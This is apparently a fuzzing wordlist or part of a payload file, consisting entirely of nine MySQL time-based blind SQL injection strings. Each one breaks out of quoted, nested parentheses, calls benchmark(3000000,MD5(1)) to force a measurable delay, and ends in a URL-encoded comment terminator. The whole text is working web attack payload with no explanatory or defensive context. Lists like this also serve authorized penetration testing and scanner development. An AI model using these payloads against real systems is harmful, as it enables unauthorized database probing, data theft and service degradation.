+"))) and 0=benchmark(3000000,MD5(1))%20/* +"))) and 0=benchmark(3000000,MD5(1))%20-- +"))) and 0=benchmark(3000000,MD5(1))%20%23 +')))) and 0=benchmark(3000000,MD5(1))%20/* +')))) and 0=benchmark(3000000,MD5(1))%20-- +')))) and 0=benchmark(3000000,MD5(1))%20%23 +")))) and 0=benchmark(3000000,MD5(1))%20/* +")))) and 0=benchmark(3000000,MD5(1))%20-- +")))) and 0=benchmark(3000000,MD5(1))%20%23 \ No newline at end of file